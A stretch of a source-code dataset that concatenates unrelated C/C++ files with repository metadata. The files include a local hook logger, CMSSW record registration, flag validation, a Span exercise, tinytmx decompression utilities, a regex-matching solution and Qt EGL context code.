return std::wstring();
}
std::wstring path = path_tmp;
CoTaskMemFree(path_tmp);
return path + L"\\..\\local\\evilsoft\\iagd\\";
}
HookLog::HookLog() : m_lastMessageCount(0) {
std::wstring iagdFolder = GetIagdFolder(); // %appdata%\..\local\evilsoft\iagd
wchar_t tmpfolder[MAX_PATH]; // %appdata%\..\local\temp\
GetTempPath(MAX_PATH, tmpfolder);
std::wstring logFile(!iagdFolder.empty() ? iagdFolder : tmpfolder);
logFile += L"iagd_hook.log";
m_out.open(logFile);
if (m_out.is_open())
{
m_out
<< L"****************************" << std::endl
<< L" Hook Logging Started" << std::endl
<< L"****************************" << std::endl;
TCHAR buffer[MAX_PATH];
DWORD size = GetCurrentDirectory(MAX_PATH, buffer);
buffer[size] = '\0';
m_out << L"Current Directory: " << buffer << std::endl;
}
}
HookLog::~HookLog()
{
if (m_out.is_open())
{
m_out
<< L"****************************" << std::endl
<< L" Hook Logging Terminated " << std::endl
<< L"****************************" << std::endl;
m_out.close();
}
}
void HookLog::out( std::wstring const& output )
{
if (m_out.is_open())
{
if (!m_lastMessage.empty())
{
if (m_lastMessage.compare(output) == 0)
{
++m_lastMessageCount;
}
else
{
if (m_lastMessageCount > 1) {
m_out << L"Last message was repeated " << m_lastMessageCount << L" times." << std::endl;
}
m_lastMessage = output;
m_lastMessageCount = 1;
m_out << output.c_str() << std::endl;
}
}
else
{
m_lastMessage = output;
m_lastMessageCount = 1;
m_out << output.c_str() << std::endl;
}
}
}
| 25.086957 | 100 | 0.506066 | 211847750 |
863c7f7ac5b0322ab484ad68b6af27dc9a3286c2 | 171 | cc | C++ | CondFormats/DataRecord/src/CSCGainsRcd.cc | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 852 | 2015-01-11T21:03:51.000Z | 2022-03-25T21:14:00.000Z | CondFormats/DataRecord/src/CSCGainsRcd.cc | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 30,371 | 2015-01-02T00:14:40.000Z | 2022-03-31T23:26:05.000Z | CondFormats/DataRecord/src/CSCGainsRcd.cc | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 3,240 | 2015-01-02T05:53:18.000Z | 2022-03-31T17:24:21.000Z | #include "CondFormats/DataRecord/interface/CSCGainsRcd.h"
#include "FWCore/Framework/interface/eventsetuprecord_registration_macro.h"
EVENTSETUP_RECORD_REG(CSCGainsRcd);
| 34.2 | 75 | 0.865497 | ckamtsikis |
864386c9c52d25ed7e9ea5295551c429957210f0 | 1,817 | cpp | C++ | src/lib/problem.cpp | bunsanorg/bacs_archive | 2909b82e84259cc1441c5bc7f4bf87c2ec31548b | [
"Apache-2.0"
] | null | null | null | src/lib/problem.cpp | bunsanorg/bacs_archive | 2909b82e84259cc1441c5bc7f4bf87c2ec31548b | [
"Apache-2.0"
] | null | null | null | src/lib/problem.cpp | bunsanorg/bacs_archive | 2909b82e84259cc1441c5bc7f4bf87c2ec31548b | [
"Apache-2.0"
] | null | null | null | #include <bacs/archive/problem.hpp>
#include <bacs/archive/error.hpp>
#include <bunsan/pm/entry.hpp>
namespace bacs {
namespace archive {
namespace problem {
const std::string &flag_cast(const problem::Flag &flag) {
switch (flag.flag_case()) {
case Flag::kReserved:
return flag_cast(flag.reserved());
case Flag::kCustom:
return flag.custom();
default:
BOOST_ASSERT(false);
}
}
const std::string &flag_cast(const problem::Flag::Reserved flag) {
return Flag::Reserved_Name(flag);
}
Flag flag_cast(const std::string &flag) {
Flag result;
problem::Flag::Reserved reserved;
if (Flag::Reserved_Parse(flag, &reserved)) {
result.set_reserved(reserved);
} else {
result.set_custom(flag);
}
return result;
}
const std::string &flag_to_string(const problem::Flag &flag) {
return flag_cast(flag);
}
const std::string &flag_to_string(const problem::Flag::Reserved flag) {
return flag_cast(flag);
}
const std::string &flag_to_string(const std::string &flag) { return flag; }
bool is_allowed_flag(const flag &flag_) {
return bunsan::pm::entry::is_allowed_subpath(flag_);
}
bool is_allowed_flag(const Flag &flag) {
return is_allowed_flag(flag_cast(flag));
}
bool is_allowed_flag_set(const FlagSet &flags) {
for (const Flag &flag : flags.flag()) {
if (!is_allowed_flag(flag)) return false;
}
return true;
}
void validate_flag(const flag &flag_) {
if (!is_allowed_flag(flag_))
BOOST_THROW_EXCEPTION(invalid_flag_error()
<< invalid_flag_error::flag(flag_));
}
void validate_flag(const Flag &flag) {
validate_flag(flag_cast(flag));
}
void validate_flag_set(const FlagSet &flags) {
for (const Flag &flag : flags.flag()) validate_flag(flag);
}
} // namespace problem
} // namespace archive
} // namespace bacs
| 23 | 75 | 0.698404 | bunsanorg |
8643f1dc9391398c5cb0d61cc5726fa78ef3c89c | 386 | hpp | C++ | FootSoldier.hpp | Dolev/WarGame | 0c51c62432e059483275ec916c16c411f40e9116 | [
"MIT"
] | null | null | null | FootSoldier.hpp | Dolev/WarGame | 0c51c62432e059483275ec916c16c411f40e9116 | [
"MIT"
] | null | null | null | FootSoldier.hpp | Dolev/WarGame | 0c51c62432e059483275ec916c16c411f40e9116 | [
"MIT"
] | null | null | null | #include "Soldier.hpp"
class FootSoldier: public Soldier{
protected:
//char letter=FS;
/* Direction Options:
Up, Down, Right, Left
FootSoldier Up();
FootSoldier Down();
FootSoldier Left();
FootSoldier Right();
*/
public:
FootSoldier();
~FootSoldier();
explicit FootSoldier(int player);
};
| 19.3 | 41 | 0.551813 | Dolev |
8645c70f3190470a98aaefd07c76e2a1070df7db | 2,946 | cpp | C++ | lib/src/tinytmxUtil.cpp | KaseyJenkins/tinytmx | b7ab2927dfe2e70459c55af991b3c1013d335fd5 | [
"BSD-2-Clause"
] | 2 | 2022-01-10T07:53:48.000Z | 2022-03-22T11:25:50.000Z | lib/src/tinytmxUtil.cpp | KaseyJenkins/tinytmx | b7ab2927dfe2e70459c55af991b3c1013d335fd5 | [
"BSD-2-Clause"
] | null | null | null | lib/src/tinytmxUtil.cpp | KaseyJenkins/tinytmx | b7ab2927dfe2e70459c55af991b3c1013d335fd5 | [
"BSD-2-Clause"
] | null | null | null | #include <cstdlib>
#include <algorithm>
#include <cctype>
#ifdef USE_MINIZ
#include "miniz.h"
#else
#include "zlib.h"
#endif
#include "tinytmxUtil.hpp"
#include "base64.h"
namespace tinytmx {
// trim from start (in place)
static inline void ltrim(std::string &s) {
s.erase(s.begin(), std::find_if(s.begin(), s.end(), [](unsigned char ch) {
return !std::isspace(ch);
}));
}
// trim from end (in place)
static inline void rtrim(std::string &s) {
s.erase(std::find_if(s.rbegin(), s.rend(), [](unsigned char ch) {
return !std::isspace(ch);
}).base(), s.end());
}
// trim from both ends (in place)
static inline void trim(std::string &s) {
ltrim(s);
rtrim(s);
}
void Util::Trim(std::string &str) {
trim(str);
}
//
// trim from start (copying)
// static inline std::string ltrim_copy(std::string s) {
// ltrim(s);
// return s;
// }
//
// trim from end (copying)
// static inline std::string rtrim_copy(std::string s) {
// rtrim(s);
// return s;
// }
//
// trim from both ends (copying)
// static inline std::string trim_copy(std::string s) {
// trim(s);
// return s;
// }
std::string Util::DecodeBase64(std::string const &str) {
return base64_decode(str);
}
char *Util::DecompressGZIP(char const *data, uint32_t dataSize, uint32_t expectedSize) {
uint32_t bufferSize = expectedSize;
int ret;
z_stream strm;
char *out = (char *) malloc(bufferSize);
strm.zalloc = Z_NULL;
strm.zfree = Z_NULL;
strm.opaque = Z_NULL;
strm.next_in = (Bytef *) data;
strm.avail_in = dataSize;
strm.next_out = (Bytef *) out;
strm.avail_out = bufferSize;
ret = inflateInit2(&strm, 15 + 32);
if (ret != Z_OK) {
free(out);
return NULL;
}
do {
ret = inflate(&strm, Z_SYNC_FLUSH);
switch (ret) {
case Z_NEED_DICT:
case Z_STREAM_ERROR:
ret = Z_DATA_ERROR;
case Z_DATA_ERROR:
case Z_MEM_ERROR:
inflateEnd(&strm);
free(out);
return NULL;
}
if (ret != Z_STREAM_END) {
out = (char *) realloc(out, bufferSize * 2);
if (!out) {
inflateEnd(&strm);
free(out);
return NULL;
}
strm.next_out = (Bytef *) (out + bufferSize);
strm.avail_out = bufferSize;
bufferSize *= 2;
}
} while (ret != Z_STREAM_END);
if (strm.avail_in != 0) {
free(out);
return NULL;
}
inflateEnd(&strm);
return out;
}
}
| 22.837209 | 92 | 0.491174 | KaseyJenkins |
86467b46799ce180ecaf4aeb72290b54e5e1e952 | 912 | cpp | C++ | source/jz19.cpp | loganautomata/leetcode | 5a626c91f271bae231328c92a3be23eba227f66e | [
"MIT"
] | null | null | null | source/jz19.cpp | loganautomata/leetcode | 5a626c91f271bae231328c92a3be23eba227f66e | [
"MIT"
] | null | null | null | source/jz19.cpp | loganautomata/leetcode | 5a626c91f271bae231328c92a3be23eba227f66e | [
"MIT"
] | null | null | null | #include "jz19.h"
using namespace std;
bool Jz19::isMatch(string s, string p)
{
vector<vector<bool>> dp(s.size() + 1, vector<bool>(p.size() + 1, false)); // 二维动态规划数组
// 初始状态
dp[0][0] = true;
for (int i = 2; i < dp[0].size(); i += 2)
{
dp[0][i] = dp[0][i - 2] && p[i - 1] == '*';
}
// 状态转移
for (int i = 1; i < dp.size(); i++)
{
for (int j = 1; j < dp[0].size(); j++)
{
if (p[j - 1] == '*')
{
if (dp[i][j - 2] || (dp[i - 1][j] && (p[j - 2] == '.' || p[j - 2] == s[i - 1])))
{
dp[i][j] = true;
}
}
else
{
if (dp[i - 1][j - 1] && (p[j - 1] == '.' || p[j - 1] == s[i - 1]))
{
dp[i][j] = true;
}
}
}
}
return dp.back().back();
}
| 22.8 | 96 | 0.294956 | loganautomata |
8646b4006ece47b569d999da6f3239cadf24a9aa | 163 | cc | C++ | build/x86/python/m5/internal/param_L1Cache_Controller.i_init.cc | billionshang/gem5 | 18cc4294f32315595f865d07d1f33434e92b06b2 | [
"BSD-3-Clause"
] | null | null | null | build/x86/python/m5/internal/param_L1Cache_Controller.i_init.cc | billionshang/gem5 | 18cc4294f32315595f865d07d1f33434e92b06b2 | [
"BSD-3-Clause"
] | 1 | 2020-08-20T05:53:30.000Z | 2020-08-20T05:53:30.000Z | build/X86_MESI_Two_Level/python/m5/internal/param_L1Cache_Controller.i_init.cc | hoho20000000/gem5-fy | b59f6feed22896d6752331652c4d8a41a4ca4435 | [
"BSD-3-Clause"
] | null | null | null | #include "sim/init.hh"
extern "C" {
void init_param_L1Cache_Controller();
}
EmbeddedSwig embed_swig_param_L1Cache_Controller(init_param_L1Cache_Controller);
| 20.375 | 80 | 0.809816 | billionshang |
8647b795aa5fc6660147adea333b404ef6542304 | 3,759 | cpp | C++ | mod08/ex01/main.cpp | paozer/piscine_cpp | 449d4a60b3c50c7ba6d94e38a7b632b5f447a438 | [
"Unlicense"
] | null | null | null | mod08/ex01/main.cpp | paozer/piscine_cpp | 449d4a60b3c50c7ba6d94e38a7b632b5f447a438 | [
"Unlicense"
] | null | null | null | mod08/ex01/main.cpp | paozer/piscine_cpp | 449d4a60b3c50c7ba6d94e38a7b632b5f447a438 | [
"Unlicense"
] | 2 | 2021-01-31T13:52:11.000Z | 2021-05-19T18:36:17.000Z | #include "Span.hpp"
template <typename Iterator>
void print_iterator(Iterator it, Iterator et)
{
for (; it != et; ++it)
std::cout << *it << ",";
std::cout << std::endl;
}
int main()
{
{
std::cout << "SUBJECTS MAIN" << std::endl;
Span sp = Span(5);
sp.addNumber(5);
sp.addNumber(3);
sp.addNumber(17);
sp.addNumber(9);
sp.addNumber(11);
std::cout << sp.shortestSpan() << std::endl;
std::cout << sp.longestSpan() << std::endl;
std::cout << std::endl;
}
{
std::cout << "MY MAIN" << std::endl;
Span sp = Span(0);
try {
sp.addNumber(21);
}
catch (const std::exception & e) {
std::cout << "adding number on a Span(0) throwed" << std::endl;
}
try {
sp.shortestSpan();
}
catch (const std::exception & e) {
std::cout << "shortestSpan() on a Span(0) throwed" << std::endl;
}
try {
sp.longestSpan();
}
catch (const std::exception & e) {
std::cout << "longestSpan() on a Span(0) throwed" << std::endl;
}
std::cout << std::endl;
}
{
Span sp = Span(10);
for (int i(0); i < 11; ++i) {
try {
sp.addNumber(i);
std::cout << "added " << i << " to Span(10)" << std::endl;
}
catch (const std::exception & e) {
std::cout << "adding " << i << " to Span(10) throwed" << std::endl;
}
}
std::cout << std::endl;
}
{
Span sp = Span(5);
sp.addNumber(-42);
try {
sp.shortestSpan();
}
catch (const std::exception & e) {
std::cout << "shortestSpan() on a Span with one number throwed" << std::endl;
}
std::cout << std::endl;
sp.addNumber(9);
sp.addNumber(3);
sp.addNumber(200);
std::cout << "span(5) = -42, 9, 3, 200" << std::endl;
std::cout << "longestSpan() = " << sp.longestSpan() << std::endl;
std::cout << "shortestSpan() = " << sp.shortestSpan() << std::endl;
std::cout << std::endl;
int myinput;
std::cout << "input a number > ";
std::cin >> myinput;
sp.addNumber(myinput);
std::cout << "span(5) = -42, 9, 3, 200, " << myinput << std::endl;
std::cout << "longestSpan() = " << sp.longestSpan() << std::endl;
std::cout << "shortestSpan() = " << sp.shortestSpan() << std::endl;
std::cout << std::endl;
}
{
std::cout << "10000 Numbers TEST" << std::endl;
Span sp (10000);
for (int i(0); i < 10000; ++i)
sp.addNumber(i);
std::cout << "sp = 0, 1, 2, ... 9999" << std::endl;
std::cout << "longestSpan() = " << sp.longestSpan() << std::endl;
std::cout << "shortestSpan() = " << sp.shortestSpan() << std::endl;
std::cout << std::endl;
}
{
std::cout << "addNumber using iterators tests" << std::endl << std::endl;
int arr[] = {10, 10, 10, 42};
Span sp (4);
std::cout << "arr used for template addNumber call ";
print_iterator(std::begin(arr), std::end(arr));
std::cout << std::endl;
try {
sp.addNumber(std::begin(arr), std::end(arr));
//sp.addNumber(&arr[0], &arr[4]); // both addNumber are equivalent
}
catch (const std::exception & e) {
std::cout << "catched exception" << std::endl;
}
std::cout << "longestSpan() = " << sp.longestSpan() << std::endl;
std::cout << "shortestSpan() = " << sp.shortestSpan() << std::endl;
}
}
| 31.855932 | 89 | 0.459963 | paozer |
864a2ef456d7ca1e000c03d5e76b1b619e38aa88 | 688 | cpp | C++ | data_structure_problems/my_solutions/04/04.cpp | luispozas/PROGRAMAS_RESOLUCION_DE_PROBLEMAS_CON_SOLUCIONES | 7bf6a3a361910e041d72f454b6037026ea019b90 | [
"MIT"
] | 1 | 2019-06-19T17:21:46.000Z | 2019-06-19T17:21:46.000Z | data_structure_problems/my_solutions/04/04.cpp | luispozas/PROGRAMAS_RESOLUCION_DE_PROBLEMAS_CON_SOLUCIONES | 7bf6a3a361910e041d72f454b6037026ea019b90 | [
"MIT"
] | null | null | null | data_structure_problems/my_solutions/04/04.cpp | luispozas/PROGRAMAS_RESOLUCION_DE_PROBLEMAS_CON_SOLUCIONES | 7bf6a3a361910e041d72f454b6037026ea019b90 | [
"MIT"
] | 1 | 2020-06-03T14:56:52.000Z | 2020-06-03T14:56:52.000Z | //LUIS POZAS PALOMO - EDA - 04
#include <iostream>
#include <vector>
#include <fstream>
using namespace std;
#include "polinomio.h"
#include "monomio.h"
bool resuelveCaso() {
int c, e, numVal;
polinomio pol;
vector <int> V;
if(!(cin >> c >> e)) return false;
while (c != 0 || e != 0) {
monomio m(c, e);
pol.add(m);
cin >> c >> e;
}
//Leo los valores a evaluar por el polinomio
cin >> numVal;
int n;
for (int i = 0; i < numVal; i++) {
cin >> n;
V.push_back(n);
}
for (int i = 0; i < numVal; i++) { // evaluo el polinomio por cada caso
cout << pol.calculatePol(V[i]) << " ";
}
cout << "\n";
return true;
}
int main() {
while (resuelveCaso());
return 0;
}
| 16.780488 | 72 | 0.579942 | luispozas |
864a3d443cf0689dbcbaefe0576b602c539826ae | 15,993 | cpp | C++ | qt-4.8.4/src/opengl/qgl_egl.cpp | easion/qt_for_gix | f5b41cc1a048fb8ebecab7f9a1646e1e3b2accb8 | [
"Apache-2.0"
] | null | null | null | qt-4.8.4/src/opengl/qgl_egl.cpp | easion/qt_for_gix | f5b41cc1a048fb8ebecab7f9a1646e1e3b2accb8 | [
"Apache-2.0"
] | null | null | null | qt-4.8.4/src/opengl/qgl_egl.cpp | easion/qt_for_gix | f5b41cc1a048fb8ebecab7f9a1646e1e3b2accb8 | [
"Apache-2.0"
] | null | null | null | /****************************************************************************
**
** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies).
** Contact: http://www.qt-project.org/legal
**
** This file is part of the QtOpenGL module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and Digia. For licensing terms and
** conditions see http://qt.digia.com/licensing. For further information
** use the contact form at http://qt.digia.com/contact-us.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Digia gives you certain additional
** rights. These rights are described in the Digia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3.0 as published by the Free Software
** Foundation and appearing in the file LICENSE.GPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU General Public License version 3.0 requirements will be
** met: http://www.gnu.org/copyleft/gpl.html.
**
**
** $QT_END_LICENSE$
**
****************************************************************************/
#include <QtCore/qdebug.h>
#include <QtOpenGL/qgl.h>
#include <QtOpenGL/qglpixelbuffer.h>
#include "qgl_p.h"
#include "qgl_egl_p.h"
#include "qglpixelbuffer_p.h"
#ifdef Q_WS_X11
#include <QtGui/private/qpixmap_x11_p.h>
#endif
#if defined(Q_OS_SYMBIAN)
#include <QtGui/private/qgraphicssystemex_symbian_p.h>
#endif
QT_BEGIN_NAMESPACE
QEglProperties *QGLContextPrivate::extraWindowSurfaceCreationProps = NULL;
void qt_eglproperties_set_glformat(QEglProperties& eglProperties, const QGLFormat& glFormat)
{
int redSize = glFormat.redBufferSize();
int greenSize = glFormat.greenBufferSize();
int blueSize = glFormat.blueBufferSize();
int alphaSize = glFormat.alphaBufferSize();
int depthSize = glFormat.depthBufferSize();
int stencilSize = glFormat.stencilBufferSize();
int sampleCount = glFormat.samples();
bool prefer32Bit = false;
#ifdef Q_OS_SYMBIAN
// on Symbian we prefer 32-bit configs, unless we're using the low memory GPU
prefer32Bit = !QSymbianGraphicsSystemEx::hasBCM2727();
#endif
if (prefer32Bit) {
if (glFormat.alpha() && alphaSize <= 0)
alphaSize = 8;
if (glFormat.depth() && depthSize <= 0)
depthSize = 24;
if (glFormat.stencil() && stencilSize <= 0)
stencilSize = 8;
if (glFormat.sampleBuffers() && sampleCount <= 0)
sampleCount = 1;
redSize = redSize > 0 ? redSize : 8;
greenSize = greenSize > 0 ? greenSize : 8;
blueSize = blueSize > 0 ? blueSize : 8;
alphaSize = alphaSize > 0 ? alphaSize : 8;
depthSize = depthSize > 0 ? depthSize : 24;
stencilSize = stencilSize > 0 ? stencilSize : 8;
sampleCount = sampleCount >= 0 ? sampleCount : 4;
} else {
// QGLFormat uses a magic value of -1 to indicate "don't care", even when a buffer of that
// type has been requested. So we must check QGLFormat's booleans too if size is -1:
if (glFormat.alpha() && alphaSize <= 0)
alphaSize = 1;
if (glFormat.depth() && depthSize <= 0)
depthSize = 1;
if (glFormat.stencil() && stencilSize <= 0)
stencilSize = 1;
if (glFormat.sampleBuffers() && sampleCount <= 0)
sampleCount = 1;
// We want to make sure 16-bit configs are chosen over 32-bit configs as they will provide
// the best performance. The EGL config selection algorithm is a bit stange in this regard:
// The selection criteria for EGL_BUFFER_SIZE is "AtLeast", so we can't use it to discard
// 32-bit configs completely from the selection. So it then comes to the sorting algorithm.
// The red/green/blue sizes have a sort priority of 3, so they are sorted by first. The sort
// order is special and described as "by larger _total_ number of color bits.". So EGL will
// put 32-bit configs in the list before the 16-bit configs. However, the spec also goes on
// to say "If the requested number of bits in attrib_list for a particular component is 0,
// then the number of bits for that component is not considered". This part of the spec also
// seems to imply that setting the red/green/blue bits to zero means none of the components
// are considered and EGL disregards the entire sorting rule. It then looks to the next
// highest priority rule, which is EGL_BUFFER_SIZE. Despite the selection criteria being
// "AtLeast" for EGL_BUFFER_SIZE, it's sort order is "smaller" meaning 16-bit configs are
// put in the list before 32-bit configs. So, to make sure 16-bit is preffered over 32-bit,
// we must set the red/green/blue sizes to zero. This has an unfortunate consequence that
// if the application sets the red/green/blue size to 5/6/5 on the QGLFormat, they will
// probably get a 32-bit config, even when there's an RGB565 config available. Oh well.
// Now normalize the values so -1 becomes 0
redSize = redSize > 0 ? redSize : 0;
greenSize = greenSize > 0 ? greenSize : 0;
blueSize = blueSize > 0 ? blueSize : 0;
alphaSize = alphaSize > 0 ? alphaSize : 0;
depthSize = depthSize > 0 ? depthSize : 0;
stencilSize = stencilSize > 0 ? stencilSize : 0;
sampleCount = sampleCount > 0 ? sampleCount : 0;
}
eglProperties.setValue(EGL_RED_SIZE, redSize);
eglProperties.setValue(EGL_GREEN_SIZE, greenSize);
eglProperties.setValue(EGL_BLUE_SIZE, blueSize);
eglProperties.setValue(EGL_ALPHA_SIZE, alphaSize);
eglProperties.setValue(EGL_DEPTH_SIZE, depthSize);
eglProperties.setValue(EGL_STENCIL_SIZE, stencilSize);
eglProperties.setValue(EGL_SAMPLES, sampleCount);
eglProperties.setValue(EGL_SAMPLE_BUFFERS, sampleCount ? 1 : 0);
}
// Updates "format" with the parameters of the selected configuration.
void qt_glformat_from_eglconfig(QGLFormat& format, const EGLConfig config)
{
EGLint redSize = 0;
EGLint greenSize = 0;
EGLint blueSize = 0;
EGLint alphaSize = 0;
EGLint depthSize = 0;
EGLint stencilSize = 0;
EGLint sampleCount = 0;
EGLint level = 0;
EGLDisplay display = QEgl::display();
eglGetConfigAttrib(display, config, EGL_RED_SIZE, &redSize);
eglGetConfigAttrib(display, config, EGL_GREEN_SIZE, &greenSize);
eglGetConfigAttrib(display, config, EGL_BLUE_SIZE, &blueSize);
eglGetConfigAttrib(display, config, EGL_ALPHA_SIZE, &alphaSize);
eglGetConfigAttrib(display, config, EGL_DEPTH_SIZE, &depthSize);
eglGetConfigAttrib(display, config, EGL_STENCIL_SIZE, &stencilSize);
eglGetConfigAttrib(display, config, EGL_SAMPLES, &sampleCount);
eglGetConfigAttrib(display, config, EGL_LEVEL, &level);
format.setRedBufferSize(redSize);
format.setGreenBufferSize(greenSize);
format.setBlueBufferSize(blueSize);
format.setAlphaBufferSize(alphaSize);
format.setDepthBufferSize(depthSize);
format.setStencilBufferSize(stencilSize);
format.setSamples(sampleCount);
format.setPlane(level);
format.setDirectRendering(true); // All EGL contexts are direct-rendered
format.setRgba(true); // EGL doesn't support colour index rendering
format.setStereo(false); // EGL doesn't support stereo buffers
format.setAccumBufferSize(0); // EGL doesn't support accululation buffers
format.setDoubleBuffer(true); // We don't support single buffered EGL contexts
// Clear the EGL error state because some of the above may
// have errored out because the attribute is not applicable
// to the surface type. Such errors don't matter.
eglGetError();
}
bool QGLFormat::hasOpenGL()
{
return true;
}
void QGLContext::reset()
{
Q_D(QGLContext);
if (!d->valid)
return;
d->cleanup();
doneCurrent();
if (d->eglContext && d->ownsEglContext) {
d->destroyEglSurfaceForDevice();
delete d->eglContext;
}
d->ownsEglContext = false;
d->eglContext = 0;
d->eglSurface = EGL_NO_SURFACE;
d->crWin = false;
d->sharing = false;
d->valid = false;
d->transpColor = QColor();
d->initDone = false;
QGLContextGroup::removeShare(this);
}
void QGLContext::makeCurrent()
{
Q_D(QGLContext);
if (!d->valid || !d->eglContext || d->eglSurfaceForDevice() == EGL_NO_SURFACE) {
qWarning("QGLContext::makeCurrent(): Cannot make invalid context current");
return;
}
if (d->eglContext->makeCurrent(d->eglSurfaceForDevice())) {
QGLContextPrivate::setCurrentContext(this);
if (!d->workaroundsCached) {
d->workaroundsCached = true;
const char *renderer = reinterpret_cast<const char *>(glGetString(GL_RENDERER));
if (!renderer)
return;
if ((strstr(renderer, "SGX") || strstr(renderer, "MBX"))) {
// PowerVR MBX/SGX chips needs to clear all buffers when starting to render
// a new frame, otherwise there will be a performance penalty to pay for
// each frame.
qDebug() << "Found SGX/MBX driver, enabling FullClearOnEveryFrame";
d->workaround_needsFullClearOnEveryFrame = true;
// Older PowerVR SGX drivers (like the one in the N900) have a
// bug which prevents glCopyTexSubImage2D() to work with a POT
// or GL_ALPHA texture bound to an FBO. The only way to
// identify that driver is to check the EGL version number for it.
const char *egl_version = eglQueryString(d->eglContext->display(), EGL_VERSION);
if (egl_version && strstr(egl_version, "1.3")) {
qDebug() << "Found v1.3 driver, enabling brokenFBOReadBack";
d->workaround_brokenFBOReadBack = true;
} else if (egl_version && strstr(egl_version, "1.4")) {
qDebug() << "Found v1.4 driver, enabling brokenTexSubImage";
d->workaround_brokenTexSubImage = true;
// this is a bit complicated; 1.4 version SGX drivers from
// Nokia have fixed the brokenFBOReadBack problem, but
// official drivers from TI haven't, meaning that things
// like the beagleboard are broken unless we hack around it
// - but at the same time, we want to not reduce performance
// by not enabling this elsewhere.
//
// so, let's check for a Nokia-specific addon, and only
// enable if it isn't present.
// (see MeeGo bug #5616)
if (!QEgl::hasExtension("EGL_NOK_image_shared")) {
// no Nokia extension, this is probably a standard SGX
// driver, so enable the workaround
qDebug() << "Found non-Nokia v1.4 driver, enabling brokenFBOReadBack";
d->workaround_brokenFBOReadBack = true;
}
}
} else if (strstr(renderer, "VideoCore III")) {
// Some versions of VideoCore III drivers seem to pollute and use
// stencil buffer when using glScissors even if stencil test is disabled.
// Workaround is to clear stencil buffer before disabling scissoring.
// qDebug() << "Found VideoCore III driver, enabling brokenDisableScissorTest";
d->workaround_brokenScissor = true;
}
}
}
}
void QGLContext::doneCurrent()
{
Q_D(QGLContext);
if (d->eglContext)
d->eglContext->doneCurrent();
QGLContextPrivate::setCurrentContext(0);
}
void QGLContext::swapBuffers() const
{
Q_D(const QGLContext);
if (!d->valid || !d->eglContext)
return;
d->eglContext->swapBuffers(d->eglSurfaceForDevice());
}
extern void remove_gles_window(gi_window_id_t wid);
void QGLContextPrivate::destroyEglSurfaceForDevice()
{
unsigned long xid = 0;
if (eglSurface != EGL_NO_SURFACE) {
#if defined(Q_WS_X11) || defined(Q_OS_SYMBIAN) || defined(Q_WS_GIX)
// Make sure we don't call eglDestroySurface on a surface which
// was created for a different winId. This applies only to QGLWidget
// paint device, so make sure this is the one we're operating on
// (as opposed to a QGLWindowSurface use case).
if (paintDevice && paintDevice->devType() == QInternal::Widget) {
QWidget *w = static_cast<QWidget *>(paintDevice);
if (QGLWidget *wgl = qobject_cast<QGLWidget *>(w)) {
if (wgl->d_func()->eglSurfaceWindowId != wgl->winId()) {
qWarning("WARNING: Potential EGL surface leak! Not destroying surface.");
eglSurface = EGL_NO_SURFACE;
return;
}
else{
xid = wgl->d_func()->eglSurfaceWindowId;
}
}
}
#endif
#if defined(Q_WS_GIX)
releaseNativeWindow();
//remove_gles_window(xid);
#endif
eglDestroySurface(eglContext->display(), eglSurface);
eglSurface = EGL_NO_SURFACE;
}
}
EGLSurface QGLContextPrivate::eglSurfaceForDevice() const
{
// If a QPixmapData had to create the QGLContext, we don't have a paintDevice
if (!paintDevice)
return eglSurface;
#ifdef Q_WS_X11
if (paintDevice->devType() == QInternal::Pixmap) {
QPixmapData *pmd = static_cast<QPixmap*>(paintDevice)->data_ptr().data();
if (pmd->classId() == QPixmapData::X11Class) {
QX11PixmapData* x11PixmapData = static_cast<QX11PixmapData*>(pmd);
return (EGLSurface)x11PixmapData->gl_surface;
}
}
#endif
if (paintDevice->devType() == QInternal::Pbuffer) {
QGLPixelBuffer* pbuf = static_cast<QGLPixelBuffer*>(paintDevice);
return pbuf->d_func()->pbuf;
}
return eglSurface;
}
void QGLContextPrivate::swapRegion(const QRegion ®ion)
{
if (!valid || !eglContext)
return;
eglContext->swapBuffersRegion2NOK(eglSurfaceForDevice(), ®ion);
}
void QGLContextPrivate::setExtraWindowSurfaceCreationProps(QEglProperties *props)
{
extraWindowSurfaceCreationProps = props;
}
void QGLWidget::setMouseTracking(bool enable)
{
QWidget::setMouseTracking(enable);
}
QColor QGLContext::overlayTransparentColor() const
{
return d_func()->transpColor;
}
uint QGLContext::colorIndex(const QColor &c) const
{
Q_UNUSED(c);
return 0;
}
void QGLContext::generateFontDisplayLists(const QFont & fnt, int listBase)
{
Q_UNUSED(fnt);
Q_UNUSED(listBase);
}
void *QGLContext::getProcAddress(const QString &proc) const
{
return (void*)eglGetProcAddress(reinterpret_cast<const char *>(proc.toLatin1().data()));
}
bool QGLWidgetPrivate::renderCxPm(QPixmap*)
{
return false;
}
QT_END_NAMESPACE
| 39.9825 | 100 | 0.650847 | easion |
864aab9a148d99136df45d7af2b4b6ff26854266 | 5,001 | cpp | C++ | src/ripple_data/protocol/FieldNames.cpp | Ziftr/stellard | 626514cbbb2c6c2b6844315ca98a2bfcbca0b43d | [
"BSL-1.0"
] | 58 | 2015-01-07T09:10:59.000Z | 2019-07-15T14:34:01.000Z | src/ripple_data/protocol/FieldNames.cpp | Ziftr/stellard | 626514cbbb2c6c2b6844315ca98a2bfcbca0b43d | [
"BSL-1.0"
] | 12 | 2015-01-02T00:01:45.000Z | 2018-04-25T12:35:02.000Z | src/ripple_data/protocol/FieldNames.cpp | Ziftr/stellard | 626514cbbb2c6c2b6844315ca98a2bfcbca0b43d | [
"BSL-1.0"
